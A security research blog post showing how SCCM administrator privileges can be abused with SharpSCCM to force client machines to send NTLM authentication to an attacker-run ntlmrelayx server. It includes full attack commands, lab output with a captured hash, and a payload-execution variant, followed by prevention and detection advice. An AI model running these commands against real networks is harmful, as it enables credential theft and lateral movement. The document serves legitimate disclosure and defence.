Jun 30 2022 |
Relaying NTLM Authentication from SCCM Clients
tl;dr: Seriously, please disable NTLM
I recently learned that you can coerce NTLM authentication from SCCM servers using any Windows SCCM client when automatic site-wide client push installation is enabled and NTLM has not been explicitly disabled. During my research, I found out that if you have certain privileges in SCCM, you can also elicit NTLM authentication from the logged-in user or machine account of any Windows client that is online.
Tools such as SharpSCCM can be used to demonstrate how these privileges can be abused for lateral movement, including requesting NTLM authentication from remote SCCM clients (in addition to executing code/payloads) with the following command:
SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
How though?
With access to domain credentials or a session with Full Administrator privileges to Microsoft Configuration Manager (or ConfigMgr, formerly System Center Configuration Manager and still commonly referred to as SCCM), you can very likely gain access to any client machine that is online. But how? It may seem difficult without RDP-ing to a box where the ConfigMgr Console software is installed or proxying in the software, but there are plenty of alternative options out there that can be used to contact the SCCM server directly, such as using WMI queries, the ConfigMgr PowerShell cmdlets, or tools like SharpSCCM, MalSCCM, and PowerSCCM.
Most lateral movement techniques that leverage SCCM involve execution of either PowerShell or a C2 agent on clients by deploying a hidden application to a group of clients. This technique to elicit NTLM authentication is no different, except that the installation path of our malicious application is set to a UNC path that we control. That way, when each SCCM client in our deployment group attempts to install the new application, it sends NetNTLMv2 authentication to our listening machine via SMB (or HTTP, if WebClient is enabled). This is advantageous in scenarios where execution of PowerShell or C2 agent shellcode is blocked or could result in detection.
And because SCCM has an option to install application deployments either as the logged-on user or as SYSTEM, we can capture/relay credentials for users we’ve tracked to a specific computer using SCCM as well. Someone with access to our objectives or a domain admin, perhaps?
Let’s dive in.
Attack Step-by-Step
Preparation
We need to do a few situational awareness checks to get the information required for the attack. First, we need to identify/confirm:
- that the host we are on is an SCCM client;
- the FQDN or NetBIOS name of an SCCM management point server; and
- the sitecode for the SCCM site.
To knock all three of these out at once, execute:
SharpSCCM.exe local siteinfo
If there are no results, sorry, the system you are on is not an SCCM client. If there are, the client’s management point FQDN and sitecode (the three characters after “SMS:”) will be included in the output.
PS C:Userscave.johnson.APERTURESharpSCCMbinx64Release> .SharpSCCM.exe local siteinfo
[+] Connecting to localhostrootccm
[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority
-----------------------------------
SMS_Authority
-----------------------------------
CurrentManagementPoint: atlas.aperture.sci
Name: SMS:PS1
-----------------------------------
Next, let’s confirm that our current domain context has the necessary privileges to define a collection of systems and deploy applications to it by executing:
SharpSCCM.exe <server> <sitecode> get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
The output tells us which roles are assigned to SCCM administrators. In our case, the APERTUREcave.johnson account we are logged on with is assigned the Full Administrator role and is not limited to administration of specific systems, users, or groups.
PS C:Userscave.johnson.APERTURESharpSCCMbinx64Release> .SharpSCCM.exe atlas ps1 get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
[+] Connecting to atlasrootSMSsite_ps1
[+] Executing WQL query: SELECT AdminID,CategoryNames,CollectionNames,LogonName,RoleNames FROM SMS_Admin
-----------------------------------
SMS_Admin
-----------------------------------
AdminID: 16777217
CategoryNames: All
CollectionNames: All Systems, All Users and User Groups
LogonName: APERTUREsccmadmin
RoleNames: Full Administrator
-----------------------------------
AdminID: 16777218
CategoryNames: All
CollectionNames: All Systems, All Users and User Groups
LogonName: APERTUREcave.johnson
RoleNames: Full Administrator
-----------------------------------
Note that any user with the Application Administrator role can also perform this attack, but they will not be able to conduct the query above to confirm their role, nor will they be able to force clients to immediately update their machine policy and execute pending application deployments. They will have to wait for the machine policy to be polled automatically by the client, which by default, occurs every 60 minutes.
Finding Users
Now that we know we have the privileges required for the attack, we need to find systems where our target user has recently logged on or which computer is their workstation.
User Last Logon
Let’s say we’re trying to find computers that the user chell was the last account to log on to. We can execute:
SharpSCCM.exe <server> <sitecode> get device -u <username>
The output of this command shows us that chell was the last account to log on to GLaDOS.aperture.sci.
PS C:Userscave.johnson.APERTURESharpSCCMbinx64Release> .SharpSCCM.exe atlas ps1 get device -u chell
[+] Connecting to atlasrootSMSsite_ps1
[+] Executing WQL query: SELECT ResourceId,Active,ADSiteName,Client,DistinguishedName,FullDomainName,HardwareID,IPAddresses,IPSubnets,IPv6Addresses,IPv6Prefixes,IsVirtualMachine,LastLogonTimestamp,LastLogonUserDomain,LastLogonUserName,MACAddresses,Name,NetbiosName,Obsolete,OperatingSystemNameandVersion,PrimaryGroupID,ResourceDomainORWorkgroup,ResourceNames,SID,SMSInstalledSites,SMSUniqueIdentifier,SNMPCommunityName,SystemContainerName,SystemGroupName,SystemOUName FROM SMS_R_System WHERE LastLogonUserName='chell'
-----------------------------------
SMS_R_System
-----------------------------------
Active: 1
ADSiteName: Default-First-Site-Name
Client: 1
DistinguishedName: CN=GLADOS,OU=Domain Controllers,DC=aperture,DC=sci
FullDomainName: APERTURE.SCI
HardwareID: 2:A78B9751784FD68363E454CEBBDEEBDF249A13AF
IPAddresses: 192.168.57.100, fe80::f03c:50a:d4a5:d033
IPSubnets: 192.168.57.0
IPv6Addresses:
IPv6Prefixes:
IsVirtualMachine: True
LastLogonTimestamp: 20220524170937.000000+***
LastLogonUserDomain: APERTURE
LastLogonUserName: chell
MACAddresses: 00:0C:29:A3:80:F2
Name: GLADOS
NetbiosName: GLADOS
Obsolete: 0
OperatingSystemNameandVersion: Microsoft Windows NT Server 10.0
PrimaryGroupID: 516
ResourceDomainORWorkgroup: APERTURE
ResourceId: 16777227
ResourceNames: GLaDOS.aperture.sci
SID: S-1-5-21-3822514249-2432693033-3580373207-1000
SMSInstalledSites: PS1
SMSUniqueIdentifier: GUID:B24FA20E-776F-4E68-9789-6DEE101837AA
SNMPCommunityName:
SystemContainerName:
SystemGroupName: APERTUREDenied RODC Password Replication Group, APERTUREDomain Controllers
SystemOUName: APERTURE.SCI/DOMAIN CONTROLLERS
However, the accuracy of the output of this command should not be treated as fact. The LastLogonUser attribute identifies the last account that logged into the system at the point in time the last data discovery collection was sent from the client to the management point (default: every 7 days), so it is likely going to be stale for devices with multiple daily users. Also, apparently by design, the LastLogonTimestamp attribute cannot be relied upon for near real-time accuracy.
That said, it is possible to force a group of computers to update the LastLogonUser attribute using the official Configuration Manager PowerShell Invoke-CMClientAction command to execute the ClientNotificationRequestDDRNow action on a collection of devices, but this has to be run on the site server with local admin privileges and has not yet been ported to SharpSCCM.
NOTE: If you use this method of force-updating the LastLogonUser attribute, you are asking every device in the collection to send a data discovery record (DDR) to the management point at once. Doing this while targeting a large device collection (e.g., All Systems) could flood the management point with a ton of requests at once, so please be mindful of the size and sensitivity of the environment you’re testing in. It’s much safer to create a device collection using SharpSCCM’s new collection device subcommand that only includes the specific group of targets you would like to update.
User Workstations
Ok, so that might not have produced a ton of valuable data if the timing wasn’t right or we don’t have local admin privs on the site server, but there is at least one other method of identifying the computers where a specific user might be logged in — locating the computer they use the most, their workstation.
To find all computers that are linked to a specific user, we can execute:
SharpSCCM.exe <server> <sitecode> get primary-user -u <username>
The output shows us that GLADOS is linked to chell, our target user, making this computer a prime candidate for requesting NTLM authentication to capture/relay.
PS C:Userscave.johnson.APERTURESharpSCCMbinx64Release> .SharpSCCM.exe atlas ps1 get primary-user -u chell
[+] Connecting to atlasrootSMSsite_ps1
[+] Executing WQL query: SELECT * FROM SMS_UserMachineRelationship WHERE UniqueUserName LIKE '%chell%'
-----------------------------------
SMS_UserMachineRelationship
-----------------------------------
CreationTime: 20220528005101.523000+000
IsActive: True
RelationshipResourceID: 25165825
ResourceClientType: 1
ResourceID: 16777227
ResourceName: GLADOS
Sources: 2
Types: 1
UniqueUserName: aperturechell
-----------------------------------
Capture/Relay Server Setup
Next, we need to set up ntlmrelayx to capture and relay NTLM authentication received from our target computers.
For the sake of this demonstration, we’re going to simulate a compromised Linux machine on the same network. If you are using a Windows machine for capture/relay, detailed instructions can be found here.
To start the relay server, we choose a target_ip to relay NTLM authentication to (e.g., a system that does not require SMB signing or the LDAP/AD CS service on a domain controller), then run:
ntlmrelayx.py -smb2support -ts -ip <relay_ip> -t <target_ip> -of ~/hashes.txt
Requesting NTLM Authentication
Now that we’re set up, it’s time to execute the attack. All of the steps necessary to create a new device collection, add the target device, deploy an application, then clean up have been automated in the following command:
SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
If you’d like to understand what’s going on behind the scenes, check out this post by Matt Nelson in 2016.
By default, NTLM authentication is requested from the logged-in user account, but adding the -s option to the exec command will request authentication from the machine account instead.
It takes about a minute for creds to roll in in my lab environment. There is currently more output than I’d like to paste here, but here are the relevant bits:
PS C:Userscave.johnson.APERTURESharpSCCMbinx64Release> .SharpSCCM.exe atlas ps1 exec -d "GLADOS" -r 192.168.57.130
[+] Connecting to atlasrootSMSsite_ps1
[+] Creating new device collection: Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Adding GLADOS to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Added GLADOS to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Waiting 15s for collection to populate
[+] Creating new application: Application_e670c053-74ef-49b4-8ef6-5509f41b0729
[+] Updated application to hide it from the Configuration Manager console
[+] Updated application to run in the context of the logged on user
[+] Creating new deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Found 1 applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729
[+] Found 1 collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Waiting 30s for new deployment to become available
[+] Forcing all members of Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137 to check for updates and execute any new applications available
[+] Waiting 1m for NTLM authentication
[+] Cleaning up
[+] Found deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Deleted deployment of Application_e670c053-74ef-49b4-8ef6-5509f41b0729 to Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Found 1 applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729
[+] Deleted all applications named Application_e670c053-74ef-49b4-8ef6-5509f41b0729
[+] Found 1 collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Deleted all collections named Devices_3f4f3f8f-0463-4f6b-b951-2bbdc012e137
[+] Done!
Here is the output from our ntlmrelayx server:
[2022-05-27 23:35:27] [*] SMBD-Thread-59: Connection from APERTURE/CHELL@192.168.57.100 controlled, but there are no more targets left!
And our captured hash:
chell::APERTURE:41414141414141414141414141414141:23969933...00000000
It’s also possible to host an executable on the attacking host using smbserver.py to launch a C2 agent or another payload on an SCCM client as SYSTEM or the logged on user rather than eliciting NTLM authentication. Just set the SharpSCCM exec command’s -p (path) option to the UNC path of your executable instead of using the -r (relay-server) option. However, this may be undesirable in certain situations, since the payload will need to evade host-based and network defenses to avoid detection/prevention and establish C2. For similar reasons, execution of arbitrary PowerShell commands on remote hosts has not yet been built into SharpSCCM.
Gotchas
You may need to increase the wait time (System.Threading.Thread.Sleep(ms)) for device collection and deployment creation for this to work in your environment — it seems to take about 15 seconds for a device collection to show up after being created and about 30 seconds after a deployment is created before the client is able to retrieve it in my lab. However, in a larger environment, device collection creation took about 3 minutes and deployment creation took about 5 minutes before the client could retrieve it. Currently, this value is hardcoded in MgmtPointWmi.cs.
In larger environments, it may be preferable to run the series of commands that are automated by exec manually to prevent timing issues resulting in no NTLM authentication or code execution:
Preface all commands below with:
.SharpSCCM.exe <server> <sitecode>
new collection device <collection_name>
add device-to-collection <device_name> <collection_name>
<wait a few minutes>
new application <application_name> <path_to_application>
new deployment <application_name> <collection_name>
<wait a few more minutes>
invoke update <collection_name>
<cleanup>
remove deployment <application_name> <collection_name>
remove application <application_name>
remove collection <collection_name>
I plan on coding user options similar to nmap’s timing templates (e.g., T0 for very slow and T5 for very fast waiting periods) in the future.
Defensive Considerations
Prevention
To prevent the technique detailed in this post, outgoing NTLM traffic can be denied on the client side of the connection (i.e., disabled on every SCCM client) or NTLM can be disabled for the domain. Disabling NTLM authentication can be difficult, but the steps needed for an organization to transition to using Kerberos exclusively should be analyzed to make removal of NTLM from the environment an achievable long-term goal.
Ok, that sounds hard. How about detection?
The same GPO that can be used to deny outgoing NTLM traffic from Windows machines can also be used to audit outbound NTLM traffic in the environment while a more restrictive policy with specific exclusions for legitimate NTLM usage is being put in place. There is also another GPO that can be used to audit inbound NTLM traffic to systems that may be susceptible to NTLM relaying, such as those that don’t require SMB signing or LDAP signing/channel binding.
SharpSCCM is only one of the methods out there to leverage SCCM for lateral movement. Other tools, such as MalSCCM by Phil Keeble, PowerSCCM, the ConfigMgr PowerShell cmdlets, direct site database modifications, or a series of WMI queries can be used to execute many of the functions that SharpSCCM is a wrapper for, so it’s important to look for evidence of the underlying techniques employed by these tools at the lowest practical level, rather than for the tools themselves.
On the client side, there shouldn’t be a lot of reasons for new applications to be installed from an IP address that isn’t a recognizable, authorized source of software in the environment (or from any IP address at all, if legitimate software distribution is conducted using only FQDNs). Such anomalies could be an indicator of compromise and can be found in the C:WindowsCCMLogsAppEnforce.log file on SCCM clients.
On the server side, we might want to investigate when a new instance of the SMS_ApplicationAssignment class (e.g., a new deployment of an application to a device collection) is created, particularly if new application deployments are a rare occurrence in the environment. Logs of this activity can be found in the C:WindowsProgram FilesMicrosoft Configuration ManagerLogsSMSProv.log file on the site server hosting the SMS provider role.
Auditing: User APERTUREcave.johnson created an instance of class SMS_ApplicationAssignment.
If a line like the one above is present, your best bet may be to check out the client AppEnforce.log events that occurred around the same time and confirm with the user of the account that the deployment is legitimate. Unfortunately, I was not able to find the modified installation path for application deployments in the server logs.
The ConfigMgr client and server logs also don’t seem to have been designed for ingestion into a SIEM, so it may be necessary to identify criteria for an alert that triggers manual investigation of these log files. Ideas for these triggers might include:
- suspicious usage of SCCM admin accounts (e.g., from an unusual IP address, during unusual hours, etc.)
- suspicious or excessive outbound NTLM traffic from SCCM clients (e.g., to unusual destinations)
Other alternative methods of engineering detections for this technique, such as monitoring for invocation of specific WMI methods or for direct modification of database contents may be possible, but are likely impractical to implement. Due to the complexity of implementing a detection for this specific technique, the best use of time may be to work towards disabling NTLM.
Let’s Collaborate!
I would love to chat with you if you’re interested in SCCM security research, would like to share ideas, have any feedback for SharpSCCM, or have any corrections or important additions to this blog post. Please hit me up on Twitter (@_Mayyhem) or in the BloodHoundGang Slack. If you’d like to contribute to SharpSCCM, please check it out on GitHub and submit a pull request from a new feature branch!
Relaying NTLM Authentication from SCCM Clients was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.